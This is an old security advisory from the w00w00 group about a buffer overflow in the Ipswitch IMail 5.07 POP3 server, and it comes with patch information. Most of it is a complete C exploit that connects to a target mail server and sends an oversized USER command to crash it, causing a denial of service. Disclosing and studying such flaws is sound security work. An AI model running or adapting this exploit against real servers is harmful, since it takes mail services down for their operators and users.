w00w00 Security Development (WSD)

[See http://www.datasurge.net/www.w00w00.org until relocation of
w00w00.org is complete.]

Discovered by: Interrupt (mike@eeye.com)

Due to improper bounds checking in Ipswitch's IMAIL POP3 server, a buffer
overflow occurs when a lengthy username is sent (via "USER <200-500
character username>").

It has been tested this on version 5.07, 5.05, and 5.06.  According to
Interrupt, it appears to be a DoS (denial of service) attack, but there
has been no further testing to determine if it can be exploited to gain
higher privileges.

---------------------------------------------------------------------------
Exploit (by Interrupt):

/*
 * IMAIL 5.07 POP3 Overflow
 * By: Mike@eEye.com
 *
 * Demonstrates vulnerability
 */

 #include <stdio.h>
 #include <string.h>

#ifdef WINDOWS
 #include <windows.h>
 #include <winsock.h>
#else
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <netdb.h>
 #include <netinet/in.h>
#endif

#ifndef WINDOWS
 #define SOCKET_ERROR -1
 #define closesocket(sock) close(sock)
 #define WSACleanup() ;
#endif

char overflow[] =
 "USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n";

int main(int argc, char *argv[])
{
#ifdef WINDOWS
   WSADATA wsaData;
#endif

   struct hostent *hp;
   struct sockaddr_in sockin;
   char buf[300], *check;
   int sockfd, bytes;
   char *hostname;
   unsigned short port;

   if (argc <= 1)
   {
      printf("IMAIL POP3 Overflow\n");
      printf("By: Mike@eEye.com\n\n");

      printf("Usage: %s [hostname] [port]\n", argv[0]);
      printf("If port is not specified we use '110'\n");

      exit(0);
   }

   hostname = argv[1];
   if (argv[2]) port = atoi(argv[2]);
   else port = atoi("110");

   printf("IMAIL POP3 Overflow\n");
   printf("By: Mike@eEye.com\n\n");

#ifdef WINDOWS
   if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
   {
      fprintf(stderr, "Error setting up with WinSock v1.1\n");
      exit(-1);
   }
#endif

   hp = gethostbyname(hostname);
   if (hp == NULL)
   {
      printf("ERROR: Uknown host %s\n", hostname);
      exit(-1);
   }

   sockin.sin_family = hp->h_addrtype;
   sockin.sin_port = htons(port);
   sockin.sin_addr = *((struct in_addr *)hp->h_addr);

   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
   {
      printf("ERROR: Socket Error\n");
      exit(-1);
   }

   if ((connect(sockfd, (struct sockaddr *) &sockin,
                sizeof(sockin))) == SOCKET_ERROR)
   {
      printf("ERROR: Connect Error\n");
      closesocket(sockfd);
      WSACleanup();
      exit(-1);
   }

   printf("Connected to [%s] on port [%d], sending overflow....\n",
          hostname, port);

   /* Check to see if we get a +OK error code. If so then proceed. */
   if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
   {
      printf("ERROR: Recv Error\n");
      closesocket(sockfd);
      WSACleanup();
      exit(1);
   }

   buf[bytes] = '\0';
   check = strstr(buf, "+OK");
   if (check == NULL)
   {
      printf("ERROR: NO +OK response from inital connect\n");
      closesocket(sockfd);
      WSACleanup();
      exit(-1);
   }

   if (send(sockfd, overflow, strlen(overflow),0) == SOCKET_ERROR)
   {
      printf("ERROR: Send Error\n");
      closesocket(sockfd);
      WSACleanup();
      exit(-1);
   }

   printf("Sent.\n");

   closesocket(sockfd);
   WSACleanup();
}

---------------------------------------------------------------------------
Patch:

Ipswitch has patched the vulnerability and the latest version can be
downloaded from:
ftp://ftp.ipswitch.com/Ipswitch/Product_Support/IMail/imail508.exe

If you are unable to install the patch, a temporary workaround is to set
the IMAIL monitor to 10 secons, guaranteeing a quick refreshment period.
---------------------------------------------------------------------------

Contributors to w00giving '99: awr, jobe, Sangfroid, rfp, vacuum,
interrupt, dmess0r, and K2

People who deserve hellos: nocarrier, minus, daveg, nny, eEye Digital
Security, SecurITeam, dark spyrit (of beavuh), and w00god blake

w00sites that deserve mentioning:
http://www.eEye.com
http://www.napster.com
http://www.technotronic.com
htttp://www.beavuh.org
http://www.securiteam.com